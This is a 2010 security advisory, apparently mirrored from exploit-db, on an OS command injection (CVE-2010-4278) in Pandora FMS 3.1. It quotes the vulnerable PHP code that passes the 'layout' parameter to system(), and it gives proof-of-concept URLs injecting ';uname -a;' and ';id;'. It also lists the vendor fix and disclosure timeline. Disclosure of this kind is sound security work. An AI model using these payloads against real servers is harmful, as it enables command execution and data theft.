Pandora Fms 3.1 – OS Command Injection

  • 作者: Juan Galiana Lara
    日期: 2010-11-30
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/15640/
  • [+] Introduction
    
    Pandora FMS (for Pandora Flexible Monitoring System) is a software
    solution for monitoring computer networks. It allows monitoring in a
    visual way the status and performance of several parameters from
    different operating systems, servers, applications and hardware systems
    such as firewalls, proxies, databases, web servers or routers.
    
    It can be deployed in almost any operating system. It features remote
    monitoring (WMI, SNMP, TCP. UDP, ICMP, HTTP...) and it can also use
    agents. An agent is available for each platform. It can also monitor
    hardware systems with a TCP/IP stack, such as load balancers, routers,
    network switches, printers or firewalls.
    
    This software has several servers that process and get information from
    different sources, using WMI for gathering remote Windows information, a
    predictive server, a plug-in server which makes complex user-defined
    network tests, an advanced export server to replicate data between
    different sites of Pandora FMS, a network discovery server, and an SNMP
    Trap console.
    
    Released under the terms of the GNU General Public License, Pandora FMS
    is free software.
    
    2) OS Command Injection - CVE-2010-4278 - CVSS 9/10
    
    The layout parameter in file operation/agentes/networkmap.php is not
    properly filtered and allows an attacker to inject OS commands.
    
    Snippet of vulnerable code (file operation/agentes/networkmap.php):
    
    32 $layout = (string) get_parameter ('layout', 'radial');
    ...
    137 $filename_map = $config["attachment_store"]."/networkmap_".$layout;
    138 $filename_img = "attachment/networkmap_".$layout."_".$font_size;
    139 $filename_dot = $config["attachment_store"]."/networkmap_".$layout;
    ...
    162 $cmd = "$filter -Tcmapx -o".$filename_map." -Tpng
    - -o".$filename_img." ".$filename_dot;
    163 $result = system ($cmd);
    
    PoC:
    
    http://servername/pandora_console/index.php?login=1&login=1&sec=estado&sec2=operation/agentes/networkmap&refr=0&layout=1;uname%20-a;
    http://servername/pandora_console/index.php?login=1&sec=estado&sec2=operation/agentes/networkmap&refr=0&layout=1;id;
    
    If we use vulnerability #1 (that permits bypass the authentication
    system and login as admin) with this issue, the CVSS will be 10/10.
    
    
    [+] Impact
    
    An attacker can execute commands of the operating system, inject remote
    code in the context of the application, get arbitrary files from the
    filesystem or extract any data of the database including passwords and
    confidential information about the monitored network/systems. Also it is
    possible to bypass the authentication or scale privileges to became
    admin, gaining full control of the web application and web server. These
    vulnerabilities have a high impact to the confidentiality, integrity,
    and availability of the system.
    
    
    [+] Systems affected
    
    Versions prior and including 3.1 of Pandora FMS are affected
    
    
    [+] Solution
    
    Apply the security fix for version 3.1:
    http://sourceforge.net/projects/pandora/files/Pandora%20FMS%203.1/Final%20version%20%28Stable%29/pandorafms_console-3.1_security_patch_13Oct2010.tar.gz/download
    
    
    Or upgrade to version 3.1.1 from
    http://sourceforge.net/projects/pandora/files/Pandora%20FMS%203.1/3.1.1/
    
    
    [+] Timeline
    
    Ago 2010: First contact to vendor
    Ago 2010: Confirmation of vendor
    Sept 2010: Second contact: SQL Injection vulnerabilities
    Sept 2010: Confirmation that the fix will be released on October
    Oct 2010: PandoraFMS security patch for 3.1 version released
    Oct 2010: Request for CVE numbers
    Nov 2010: PandoraFMS version 3.1.1 released
    Nov 2010: Disclosure of this advisory
    
    
    [+] References
    
    Official PandoraFMS site: http://pandorafms.org/
    SourceForge PandoraFMS site: http://sourceforge.net/projects/pandora/
    Wikipedia entry about PandoraFMS: http://en.wikipedia.org/wiki/Pandora_FMS
    Common Vulnerability Scoring System (CVSS) v2 calculator:
    http://nvd.nist.gov/cvss.cfm?calculator&adv&version=2
    Common Vulnerabilities and Exposures (CVE): http://cve.mitre.org/
    
    
    [+] Credits
    
    These vulnerabilities has been discovered by Juan Galiana Lara -
    @jgaliana - http://juangaliana.blogspot.com/
    
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